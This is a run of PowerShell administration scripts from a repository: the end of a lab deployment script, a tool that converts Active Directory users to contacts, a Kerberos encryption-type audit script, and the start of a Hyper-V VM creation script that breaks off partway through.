$ManagementComputerName ` 118 | -IsoPath $RSATIsoFile ` 119 | -PassThru 120 | 121 | #Install RSAT Tools 122 | Invoke-LabCommand -ComputerName $ManagementComputerName ` 123 | -ActivityName "Install RSAT Tools" ` 124 | -ScriptBlock {$drive = ( Get-CimInstance Win32_CDROMDrive).Drive ;Get-WindowsCapability -Online | Where-Object Name -like "Rsat*"| Add-WindowsCapability -Online -Source (Join-Path -Path $drive -ChildPath "LanguagesAndOptionalFeatures") -LimitAccess} -PassThru 125 | 126 | Dismount-LabIsoImage -ComputerName $ManagementComputerName 127 | 128 | # Remove the AutoLogon feature 129 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Disable AutoLogon" -ScriptBlock { 130 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -ErrorAction SilentlyContinue){ 131 | Set-ItemProperty -literalPath 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -Value 0 132 | } 133 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount -ErrorAction SilentlyContinue ){ 134 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount 135 | } 136 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword -ErrorAction SilentlyContinue ){ 137 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword 138 | } 139 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID -ErrorAction SilentlyContinue ){ 140 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID 141 | } 142 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName -ErrorAction SilentlyContinue ){ 143 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName 144 | } 145 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName -ErrorAction SilentlyContinue ){ 146 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName 147 | } 148 | 149 | } -PassThru 150 | 151 | # Set User Account Control 152 | Set-LabVMUacStatus -ComputerName (Get-LabVM) ` 153 | -EnableLUA $true ` 154 | -ConsentPromptBehaviorAdmin 5 ` 155 | -ConsentPromptBehaviorUser 3 156 | 157 | # Cleanup Deployment Files From Virtual Machines 158 | if ($DoVMDeploymentCleanup){ 159 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Cleanup" -ScriptBlock { 160 | if (Test-Path -Path 'C:\AdditionalDisksOnline.ps1'){ 161 | Remove-Item 'C:\AdditionalDisksOnline.ps1' -Force 162 | } 163 | if (Test-Path -Path 'C:\Unattend.xml'){ 164 | Remove-Item 'C:\Unattend.xml' -Force 165 | } 166 | if (Test-Path -Path 'C:\WSManRegKey.reg'){ 167 | Remove-Item 'C:\WSManRegKey.reg' -Force 168 | } 169 | if (Test-Path -Path 'C:\DeployDebug'){ 170 | Remove-Item 'C:\DeployDebug' -Recurse -Force 171 | } 172 | if (Test-Path -Path 'C:\WinRmCustomization.ps1'){ 173 | Remove-Item 'C:\WinRmCustomization.ps1' -Recurse -Force 174 | } 175 | if (Test-Path -Path (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') )){ 176 | Remove-Item (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') ) -Recurse -Force 177 | } 178 | } 179 | } 180 | 181 | # Restart all the Domain Controllers lab virtual machines 182 | $LabDCs =Get-LabVM | Where-Object {( $_.Roles -like "*DC*" -and $_.OperatingSystemType -eq "Windows" )} 183 | foreach($LabDC in $LabDCs) 184 | { 185 | Restart-LabVM -ComputerName $LabDC.Name ` 186 | -NoNewLine ` 187 | -Wait 188 | } 189 | 190 | # Restart All Servers 191 | Restart-LabVM -ComputerName (Get-LabVM | Where-Object {( $_.OperatingSystem -Like "*Windows Server*" -and ($_.Roles -notlike "*DC*" -or -not $_.Roles) -and $_.OperatingSystemType -eq "Windows" )}).Name 192 | 193 | #Restart All Clients 194 | Restart-LabVM -ComputerName (Get-LabVM | Where-Object {( $_.OperatingSystem -NotLike "*Windows Server*" -and $_.OperatingSystemType -eq "Windows" )}).Name 195 | 196 | # Show all the installation details 197 | Show-LabDeploymentSummary -Detailed -------------------------------------------------------------------------------- /Scripts/Convert-UsersToContacts.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Modules ActiveDirectory 2 | #Requires -Version 5.1 3 | 4 | <#PSScriptInfo 5 | .VERSION 1.1 6 | .GUID f1128939-3828-42d2-b22e-daf4d81e662c 7 | .AUTHOR Michael Waterman 8 | .COMPANYNAME None 9 | .COPYRIGHT 10 | .TAGS Active Directory, Users, Contacts, Exchange 11 | #> 12 | 13 | <# 14 | .SYNOPSIS 15 | Converts user objects in Active Directory to contacts. 16 | 17 | .DESCRIPTION 18 | This script can convert user objects in a specific organizational unit to 19 | Active Directory contacts. per default the user object will be renamed first, 20 | but the -Cleanup parameter will delete the user object instead. 21 | 22 | .EXAMPLE 23 | Convert-UsersToContacts.ps1 -SearchBase "OU=Contacts,OU=Organisation,DC=security,DC=local" 24 | Get all the users in the given OU, rename them with the "_Renamed " suffix and create new 25 | Contact objects in the same OU using the attributes of the user that are applicable to a 26 | contact object. 27 | 28 | .EXAMPLE 29 | Convert-UsersToContacts.ps1 -SearchBase "OU=Contacts,OU=Organisation,DC=security,DC=local" -Cleanup:$true 30 | Get all the users in the given OU, create new Contact objects in the same OU using the attributes of the user 31 | that are applicable to a contact object, but deletes the user object instead or renaming it. 32 | 33 | .EXAMPLE 34 | Convert-UsersToContacts.ps1 -SearchBase "OU=Contacts,OU=Organisation,DC=security,DC=local" -IncludeExchange 35 | Get all the users in the given OU, create new Contact objects in the same OU using the attributes of the user 36 | that are applicable to a contact object including the Exchange attributes 37 | 38 | 39 | .NOTES 40 | AUTHOR: Michael Waterman 41 | Blog: https://michaelwaterman.nl 42 | LASTEDIT: 2024.05.24 43 | #> 44 | 45 | 46 | [CmdletBinding(DefaultParameterSetName="Default")] 47 | param( 48 | [Parameter( 49 | Mandatory=$true 50 | )] 51 | [string]$SearchBase, 52 | [Parameter( 53 | Mandatory=$false 54 | )] 55 | [string]$TempSuffix = "_Renamed ", 56 | [Parameter( 57 | Mandatory=$false 58 | )] 59 | [switch]$Cleanup = $false, 60 | [Parameter( 61 | Mandatory=$false 62 | )] 63 | [switch]$IncludeExchange = $true 64 | ) 65 | 66 | 67 | # Check if Exchange is installed 68 | If($IncludeExchange){ 69 | $DefaultNamingContext = (Get-ADRootDSE).DefaultNamingContext 70 | $ExchangeDN = "CN=Microsoft Exchange System Objects," + $DefaultNamingContext 71 | 72 | try { 73 | 74 | Get-ADObject $ExchangeDN -ErrorAction Stop | Out-Null 75 | } 76 | 77 | catch { 78 | 79 | Write-Host "Exchange Schema is not found" -ForegroundColor Red 80 | Return 81 | } 82 | } 83 | 84 | # Ask if cleanup is to be executed 85 | If($Cleanup){ 86 | Write-Host "You selected the option to delete the user objects." -ForegroundColor Red 87 | Write-Host "This action is not reversible, are you sure you wish to continue?" -ForegroundColor Red 88 | Write-Host "yes or no? " -ForegroundColor Red 89 | $answer = read-host 90 | if (($answer).ToLower() -eq 'yes') { 91 | #Continue 92 | } else { 93 | return 94 | } 95 | } 96 | 97 | # Retreive all user objects from the OU 98 | $users = Get-ADUser -SearchBase $SearchBase -Filter * -Properties * -ResultPageSize 5000 99 | 100 | foreach($user in $users){ 101 | # Write to screen 102 | 103 | $username = $user.Name 104 | Write-Host "processing $username" -ForegroundColor Green 105 | 106 | # Retreive all security groups 107 | $groups = Get-ADPrincipalGroupMembership -Identity $user.DistinguishedName 108 | 109 | # If cleanup is true, delete instead of rename 110 | if($cleanup){ 111 | Remove-ADUser -Identity $user.DistinguishedName -Confirm:$false 112 | } else { 113 | Get-ADUser -Identity $user.DistinguishedName | Rename-ADObject -NewName ($tempsuffix + $user.Name) 114 | } 115 | 116 | # Create the contact 117 | $contact = New-ADObject -Type 'Contact' -Name $user.Name -Path $SearchBase -PassThru 118 | 119 | # Set the Regular Attributes 120 | if(-not ([string]::IsNullOrEmpty($user.GivenName))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'GivenName'=$user.GivenName}} 121 | if(-not ([string]::IsNullOrEmpty($user.sn))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'sn'=$user.sn}} 122 | if(-not ([string]::IsNullOrEmpty($user.DisplayName))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'DisplayName'=$user.DisplayName}} 123 | if(-not ([string]::IsNullOrEmpty($user.Description))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Description'=$user.Description}} 124 | if(-not ([string]::IsNullOrEmpty($user.physicalDeliveryOfficeName))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'physicalDeliveryOfficeName'=$user.physicalDeliveryOfficeName}} 125 | if(-not ([string]::IsNullOrEmpty($user.TelephoneNumber))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'TelephoneNumber'=$user.TelephoneNumber}} 126 | if(-not ([string]::IsNullOrEmpty($user.EmailAddress))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'mail'=$user.EmailAddress}} 127 | if(-not ([string]::IsNullOrEmpty($user.wWWHomePage))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'wWWHomePage'=$user.wWWHomePage}} 128 | if(-not ([string]::IsNullOrEmpty($user.StreetAddress))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'StreetAddress'=$user.StreetAddress}} 129 | if(-not ([string]::IsNullOrEmpty($user.postOfficeBox))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'postOfficeBox'=($user.postOfficeBox[0]).ToString()}} 130 | if(-not ([string]::IsNullOrEmpty($user.l))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'l'=$user.l}} 131 | if(-not ([string]::IsNullOrEmpty($user.st))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'st'=$user.st}} 132 | if(-not ([string]::IsNullOrEmpty($user.PostalCode))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'PostalCode'=$user.PostalCode}} 133 | if(-not ([string]::IsNullOrEmpty($user.countryCode))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'countryCode'=$user.countryCode}} 134 | if(-not ([string]::IsNullOrEmpty($user.co))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'co'=$user.co}} 135 | if(-not ([string]::IsNullOrEmpty($user.c))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'c'=$user.c}} 136 | if(-not ([string]::IsNullOrEmpty($user.HomePhone))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'HomePhone'=$user.HomePhone}} 137 | if(-not ([string]::IsNullOrEmpty($user.pager))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'pager'=$user.pager}} 138 | if(-not ([string]::IsNullOrEmpty($user.mobile))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'mobile'=$user.mobile}} 139 | if(-not ([string]::IsNullOrEmpty($user.facsimileTelephoneNumber))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'facsimileTelephoneNumber'=$user.facsimileTelephoneNumber}} 140 | if(-not ([string]::IsNullOrEmpty($user.ipPhone))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'ipPhone'=$user.ipPhone}} 141 | if(-not ([string]::IsNullOrEmpty($user.info))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'info'=$user.info}} 142 | if(-not ([string]::IsNullOrEmpty($user.Title))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Title'=$user.Title}} 143 | if(-not ([string]::IsNullOrEmpty($user.Department))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Department'=$user.Department}} 144 | if(-not ([string]::IsNullOrEmpty($user.Company))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Company'=$user.Company}} 145 | if(-not ([string]::IsNullOrEmpty($user.Manager))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'Manager'=$user.Manager}} 146 | 147 | # Set the Exchange Attributes 148 | If($IncludeExchange){ 149 | if(-not ([string]::IsNullOrEmpty($user.internetEncoding))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'internetEncoding'=$user.internetEncoding}} 150 | if(-not ([string]::IsNullOrEmpty($user.legacyExchangeDN))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'legacyExchangeDN'=$user.legacyExchangeDN}} 151 | if(-not ([string]::IsNullOrEmpty($user.mailNickname))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'mailNickname'=$user.mailNickname}} 152 | if(-not ([string]::IsNullOrEmpty($user.msExchPoliciesExcluded))){Foreach($Object in ($user.msExchPoliciesExcluded)){ 153 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchPoliciesExcluded'=$Object} 154 | } 155 | } 156 | if(-not ([string]::IsNullOrEmpty($user.msExchRecipientDisplayType))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchRecipientDisplayType'=$user.msExchRecipientDisplayType}} 157 | if(-not ([string]::IsNullOrEmpty($user.msExchUMDtmfMap))){Foreach($Object in ($user.msExchUMDtmfMap)){ 158 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchUMDtmfMap'=$Object} 159 | } 160 | } 161 | if(-not ([string]::IsNullOrEmpty($user.msExchVersion))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'msExchVersion'=$user.msExchVersion}} 162 | if(-not ([string]::IsNullOrEmpty($user.proxyAddresses))){Foreach($Object in ($user.proxyAddresses)){ 163 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'proxyAddresses'=$Object} 164 | } 165 | } 166 | if(-not ([string]::IsNullOrEmpty($user.showInAddressBook))){Foreach($Object in ($user.showInAddressBook)){ 167 | Set-ADObject -Identity $contact.DistinguishedName -Add @{'showInAddressBook'=$Object} 168 | } 169 | } 170 | if(-not ([string]::IsNullOrEmpty($user.targetAddress))){Set-ADObject -Identity $contact.DistinguishedName -Add @{'targetAddress'=$user.targetAddress}} 171 | } 172 | 173 | # Set the security groups 174 | foreach($group in $groups){ 175 | If(!($group.name -eq "Domain Users")){ 176 | Set-ADGroup -Identity $group.Name -Add @{'member'=$contact.DistinguishedName} 177 | } 178 | } 179 | 180 | # Reset the variables 181 | $groups = $null 182 | $contact = $null 183 | $username = $null 184 | } 185 | -------------------------------------------------------------------------------- /Scripts/Check-11Bissues.ps1: -------------------------------------------------------------------------------- 1 | ################################################################################################ 2 | # 3 | # Copyright (c) Microsoft Corporation. 4 | # Licensed under the MIT License. 5 | # 6 | # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 7 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 8 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 9 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 10 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 11 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 12 | # SOFTWARE. 13 | # 14 | ################################################################################################ 15 | 16 | Import-Module ActiveDirectory 17 | 18 | $noSET = New-Object -TypeName 'System.Collections.ArrayList' 19 | $badSET = New-Object -TypeName 'System.Collections.ArrayList' 20 | $rc4only = New-Object -TypeName 'System.Collections.ArrayList' 21 | $AESonlyDC = New-Object -TypeName 'System.Collections.ArrayList' 22 | $NoAESKeys = New-Object -TypeName 'System.Collections.ArrayList' 23 | $hasLegacyOS = $false 24 | 25 | # Specify output file full path here 26 | $transcriptOutput = "" 27 | 28 | If($transcriptOutput -ne "") { 29 | Start-Transcript $transcriptOutput 30 | } 31 | 32 | $computers = Get-ADComputer -filter * -Properties msDS-SupportedEncryptionTypes, operatingSystem, operatingSystemVersion, userAccountControl, passwordLastSet 33 | $users = Get-ADUser -Filter * -Properties msDS-supportedEncryptionTypes, servicePrincipalName, passwordLastSet 34 | $dateAESadded = (Get-ADGroup -filter * -properties SID,WhenCreated | where-object {$_.SID -like '*-521'}).WhenCreated 35 | 36 | foreach ($computer in $computers) { 37 | if (!$computer.Enabled) { continue } 38 | 39 | #Look for legacy Windows OS's (pre 2008/Vista) 40 | if ($computer.operatingSystem -match "Windows") { 41 | [int]$version = ($computer.OperatingSystemVersion.Split("."))[0] 42 | if ($version -lt 6) { 43 | Write-Host "*****************************************" 44 | Write-Host "Legacy OS detected: " -NoNewline -ForegroundColor Red 45 | Write-Host $computer 46 | Write-Host "This OS is not compatible with the new behavior, and authentication to this computer will fail after installing Windows Update released on November 2022 or newer on DCs." 47 | $hasLegacyOS = $true 48 | continue 49 | } 50 | } 51 | 52 | #Look for computer objects with msDS-SupportedEncryptionTypes not configured 53 | if (!$computer.'msDS-SupportedEncryptionTypes') { 54 | $noSET.Add($computer) | Out-Null 55 | } 56 | else { 57 | $set = $computer.'msDS-SupportedEncryptionTypes' 58 | 59 | #Look for computer objects with msDS-SupportedEncryptionTypes configured but no etype enabled 60 | #Example: only CompoundIdentity is set 61 | if (($set -band 0x1F) -eq 0) { 62 | $badSET.Add($computer) | Out-Null 63 | } 64 | #Keep track of objects where AES is disabled 65 | elseif (($set -band 0x18) -eq 0) { 66 | $rc4only.Add($computer) | Out-Null 67 | } 68 | 69 | #Look for DCs with msDS-SupportedEncryptionTypes RC4 disabled 70 | if ($computer.'userAccountControl' -band 0x2000 -and ($set -band 0x4) -eq 0) { 71 | $AESonlyDC.Add($computer) | Out-Null 72 | } 73 | } 74 | 75 | if ($computer.passwordlastset -le $dateAESadded) { 76 | $NoAESKeys.Add($computer) | Out-Null 77 | } 78 | } 79 | 80 | foreach ($user in $users) { 81 | if (!$user.Enabled) { continue } 82 | 83 | if ($user.servicePrincipalName) { 84 | #ignore krbtgt 85 | if ($user.Name -match "krbtgt") { continue } 86 | 87 | #This is most likely a service account 88 | #Look for objects with msDS-SupportedEncryptionTypes not configured 89 | if (!($user.'msDS-SupportedEncryptionTypes')) { 90 | $noSET.Add($user) | Out-Null 91 | } 92 | else { 93 | $set = $user.'msDS-SupportedEncryptionTypes' 94 | 95 | #Look for objects with msDS-SupportedEncryptionTypes configured but no etype enabled 96 | if (($set -band 0x1F) -eq 0) { 97 | $badSET.Add($user) | Out-Null 98 | } 99 | #Keep track of objects where AES is disabled 100 | elseif (($set -band 0x18) -eq 0) { 101 | $rc4only.Add($user) | Out-Null 102 | } 103 | } 104 | } 105 | 106 | if ($user.passwordlastset -and $user.passwordlastset -le $dateAESadded) { 107 | $NoAESKeys.Add($user) | Out-Null 108 | } 109 | } 110 | 111 | Write-Host "======================================" 112 | if ($badSET.Count -ne 0) { 113 | Write-Host "There are $($badSET.Count) objects that have msDS-SupportedEncryptionTypes configured, but no etypes are enabled." -ForegroundColor Red 114 | Write-Host "etypes are configured in the low 6 bits of msDS-SupportedEncryptionTypes, and having a value configured without etypes can cause authentication to/from this object to fail." 115 | Write-Host "Please either delete the existing msDS-SupportedEncryptionTypes settings, or add supported etypes to the existing msDS-SupportedEncryptionTypes value." 116 | Write-Host "Example: Add 0x1C (or 28 in decimal) to signal support for AES128, AES256, and RC4" 117 | Write-Host "Windows Update released January 10, 2023 addresses this, so if you are installing the January update or newer to your DCs this configuration should not cause any issues." 118 | Write-Host "Here are the objects with no etypes enabled" 119 | foreach ($obj in $badSET) { 120 | Write-Host "`t"$obj 121 | } 122 | } 123 | else { 124 | Write-Host "There were no objects with msDS-SupportedEncryptionTypes configured without any etypes enabled." -ForegroundColor Green 125 | } 126 | 127 | Write-Host "======================================" 128 | if ($NoAESKeys.Count -ne 0) { 129 | Write-Host "There are $($NoAESKeys.Count) objects that do not have AES Keys generated." -ForegroundColor Red 130 | Write-Host "This can occur if the account's password has not been changed after adding Server 2008 or newer DCs" 131 | Write-Host "Authentication to this target can fail if AES is required by either the client or the KDC." 132 | Write-Host "Please change/reset the accounts' password, and AES keys will be automatically generated." 133 | Write-Host "Here are the objects with no AES keys" 134 | foreach ($obj in $NoAESKeys) { 135 | Write-Host "`t"$obj 136 | } 137 | } 138 | else { 139 | Write-Host "There were no accounts whose passwords predate AES capabilities." -ForegroundColor Green 140 | } 141 | 142 | Write-Host "======================================" 143 | Write-Host "A common scenario where authentication fails after installing November 2022 update or newer on DCs is when DCs are configured to only support AES." 144 | Write-Host "Example: Setting the 'Configure encryption types allowed for Kerberos' policy on DCs to disable RC4 and only enable AES`n" 145 | if ($AESonlyDC.Count -eq 0) { 146 | Write-Host "No DCs were detected that are configured for AES only" 147 | } 148 | else { 149 | Write-Host "DCs with AES enabled and RC4 disabled detected." 150 | Write-Host "In this environment, Kerberos authentication can fail if the target server/service does not have msDS-SupportedEncryptionTypes configured," 151 | Write-Host "or has configured msDS-SupportedEncryptionTypes and has explitcitly enabled only RC4." 152 | Write-Host "Setting the DefaultDomainSupportedEncTypes registry value on DCs to 0x18 will set the default supported etypes to AES only," 153 | Write-Host "and may prevent Kerberos authentication issues due to unexpected RC4 use after installing November 2022 or December 2022 update on DCs." 154 | Write-Host "Windows Update released January 10, 2023 addresses this, so if you are installing the January update or newer to your DCs this configuration should not cause any issues." 155 | Write-Host "Here are the DCs that have RC4 disabled" 156 | foreach ($obj in $AESonlyDC) { 157 | Write-Host "`t"$obj 158 | } 159 | } 160 | 161 | Write-Host "======================================" 162 | if ($noSET.Count -ne 0) { 163 | Write-Host "There are $($noSET.Count) objects that do not have msDS-SupportedEncryptionTypes configured or is set to zero." -ForegroundColor Red 164 | Write-Host "When authenticating to this target, Kerberos will use the DefaultDomainSupportedEncTypes registry value on the authenticating DC to determinte supported etypes." 165 | Write-Host "If the registry value is not configured, the default value is 0x27, which means 'use AES for session keys and RC4 for ticket encryption'" 166 | Write-Host " - If this target server does not support AES, you must set msDS-SupportedEncryptionTypes to 4 on this object so that only RC4 is used." 167 | Write-Host " (Please consider working with your vendor to upgrade or configure this server to support AES. Using RC4 is not recommended)" 168 | Write-Host " - If this target server does not support RC4, or you have disabled RC4 on DCs, please set DefaultDomainSupportedEncTypes on DCs to 0x18" 169 | Write-Host " or msDS-SupportedEncryptionTypes on this object to 0x18 to specify that AES must be used. The target server must support AES in this case." 170 | Write-Host "Here are the objects that do not have msDS-SupportedEncryptionTypes configured" 171 | foreach ($obj in $noSET) { 172 | Write-Host "`t"$obj 173 | } 174 | } 175 | else { 176 | Write-Host "There were no objects with msDS-SupportedEncryptionTypes not configured." -ForegroundColor Green 177 | Write-Host "During Kerberos authentication, supported etypes will be determined based on the value of msDS-SupportedEncryptionTypes" 178 | } 179 | 180 | Write-Host "======================================" 181 | if ($rc4only.Count -ne 0) { 182 | Write-Host "There are $($rc4only.Count) objects that are configured for RC4 only." -ForegroundColor Red 183 | Write-Host "Authentication to this target can fail if AES is required by either the client or the DC." 184 | Write-Host "We do not recommend the use of RC4. Please consider working with your vendor to upgrade or configure this server to support AES." 185 | Write-Host "Here are the objects that are configured for RC4 only:" 186 | foreach ($obj in $rc4only) { 187 | Write-Host "`t"$obj 188 | } 189 | } 190 | else { 191 | Write-Host "There were no objects configured for RC4 only." -ForegroundColor Green 192 | } 193 | 194 | 195 | if (!$hasLegacyOS -and $badSET.Count -eq 0 -and $noSET.Count -eq 0 -and $NoAESKeys.Count -eq 0 -and $rc4only.Count -eq 0) { 196 | Write-Host "======================================" 197 | Write-Host "Configurations known to cause Kerberos authentication failures after installing November 2022 update or newer on DCs were not detected." -ForegroundColor Green -BackgroundColor Black 198 | Write-Host "Please contact Microsoft Support if you do see any failures after updating your DCs." 199 | } 200 | 201 | If($transcriptOutput -ne "") { 202 | Stop-Transcript 203 | } 204 | -------------------------------------------------------------------------------- /Scripts/New VM From File/New-VMFromFile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Create a Hyper-v virtual machine with parameters derived from a XML configuration file. 4 | 5 | .DESCRIPTION 6 | This script creates a virtual machine on Microsoft Windows Hyper-V with it's configuration 7 | derived from an XML configuration file. This file must be located next to the script and named 8 | vmconfig.xml. If the file does not exist an optional parameter can be ommited that contains the 9 | path to the configuration file. 10 | 11 | DYNAMIC PARAMETERS 12 | -OS 13 | Operating system selection list generated from the configuration file. 14 | 15 | -VMSwitch 16 | Virtual switch generated from the configuration file. 17 | 18 | .Parameter XMLPath 19 | Path to the XML based configuration file. 20 | 21 | .Parameter VMName 22 | The Name of the Virtual machine. 23 | 24 | .Parameter VMStart 25 | Starts the virtual machine directly after creation. 26 | 27 | .Parameter LegacyGeneration 28 | Creates a generation 1 Virtual machine, overrides the value in the configuration file when the configuration is set to 2. 29 | Has no effect when the value in the configuration file is set to 1. 30 | 31 | .Parameter NoSecureBoot 32 | Creates a Virtual Machine without SecureBoot enabled, overrides the value in the configuration file. 33 | 34 | .Parameter NoVMTPM 35 | Creates a Virtual Machine without a virtual TPM, overrides the value in the configuration file. 36 | 37 | .Example 38 | New-VMFromFile -OS "Windows 10" -VMSwitch "Default Switch" -VMStart 39 | 40 | Creates a new virtual machine from the disk "Windows 10", connects the virtual switch "Default Switch" and starts the VM after creation. 41 | 42 | .Example 43 | New-VMFromFile -OS "Windows 7" -LegacyGeneration -NoSecureBoot -NoTPM 44 | 45 | Creates a new generation 1, virtual machine without secureboot or a TPM. 46 | 47 | #> 48 | 49 | [CmdletBinding()] 50 | 51 | Param( 52 | [parameter(Mandatory = $false)] 53 | [String]$XMLPath, 54 | 55 | [parameter(Position = 0, Mandatory = $false)] 56 | [String]$VMName, 57 | 58 | [parameter(Mandatory = $false)] 59 | [Switch]$VMStart, 60 | 61 | [parameter(Mandatory = $false)] 62 | [Switch]$LegacyGeneration, 63 | 64 | [parameter(Mandatory = $false)] 65 | [Switch]$NoSecureBoot, 66 | 67 | [parameter(Mandatory = $false)] 68 | [Switch]$NoVMTPM 69 | ) 70 | 71 | DynamicParam { 72 | 73 | Write-Verbose "In case the xmlpath is not provided use the default" 74 | if (!($XMLPath)) { 75 | $XMLPath = ".\vmconfig.xml" 76 | } 77 | 78 | Write-Verbose "Read the XML Configuration file ###" 79 | [XML]$XML = Get-Content -Path $XMLPath 80 | 81 | Write-Verbose "Read and set the store values" 82 | $ParentDataStore = $XML.Configuration.vmdisks.parentdatastore.path 83 | $ChildDataStore = $XML.Configuration.vmdisks.childdatastore.path 84 | 85 | Write-Verbose "Get all the operating system disks" 86 | $BaseNamesArray = $XML | Select-Xml -XPath "//vmdisks/disk" | select -ExpandProperty node | select -ExpandProperty basename 87 | 88 | Write-Verbose "Get all the virtual switches" 89 | $SwitchNameArray = $XML | Select-Xml -XPath "//vmswitch/switch" | select -ExpandProperty node | select -ExpandProperty name 90 | 91 | Write-Verbose "Set the dynamic parameters name" 92 | $ParamName_basename = 'OS' 93 | 94 | Write-Verbose "Create the collection of attributes" 95 | $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] 96 | 97 | Write-Verbose "Create and set the parameters attributes" 98 | $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute 99 | $ParameterAttribute.Mandatory = $true 100 | $ParameterAttribute.Position = 1 101 | $ParameterAttribute.HelpMessage = "This is the help message!" 102 | 103 | Write-Verbose "Add the attributes to the attributes collection" 104 | $AttributeCollection.Add($ParameterAttribute) 105 | 106 | Write-Verbose "Create the dictionary" 107 | $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary 108 | 109 | Write-Verbose "Generate and set the ValidateSet" 110 | $arrSet = $BaseNamesArray 111 | $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) 112 | 113 | Write-Verbose "Add the ValidateSet to the attributes collection" 114 | $AttributeCollection.Add($ValidateSetAttribute) 115 | 116 | Write-Verbose "Create and return the dynamic parameter" 117 | $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParamName_basename, [string], $AttributeCollection) 118 | $RuntimeParameterDictionary.Add($ParamName_basename, $RuntimeParameter) 119 | 120 | Write-Verbose "Set the dynamic parameters name" 121 | $ParamName_vmswitch = 'VMSwitch' 122 | 123 | Write-Verbose "Create the collection of attributes" 124 | $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] 125 | 126 | Write-Verbose "Create and set the parameters attributes" 127 | $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute 128 | $ParameterAttribute.Mandatory = $false 129 | $ParameterAttribute.Position = 2 130 | 131 | Write-Verbose "Add the attributes to the attributes collection" 132 | $AttributeCollection.Add($ParameterAttribute) 133 | 134 | Write-Verbose "Generate and set the ValidateSet" 135 | $arrSet = $SwitchNameArray 136 | $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) 137 | 138 | Write-Verbose "Add the ValidateSet to the attributes collection" 139 | $AttributeCollection.Add($ValidateSetAttribute) 140 | 141 | Write-Verbose "Create and return the dynamic parameter" 142 | $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParamName_vmswitch, [string], $AttributeCollection) 143 | $RuntimeParameterDictionary.Add($ParamName_vmswitch, $RuntimeParameter) 144 | 145 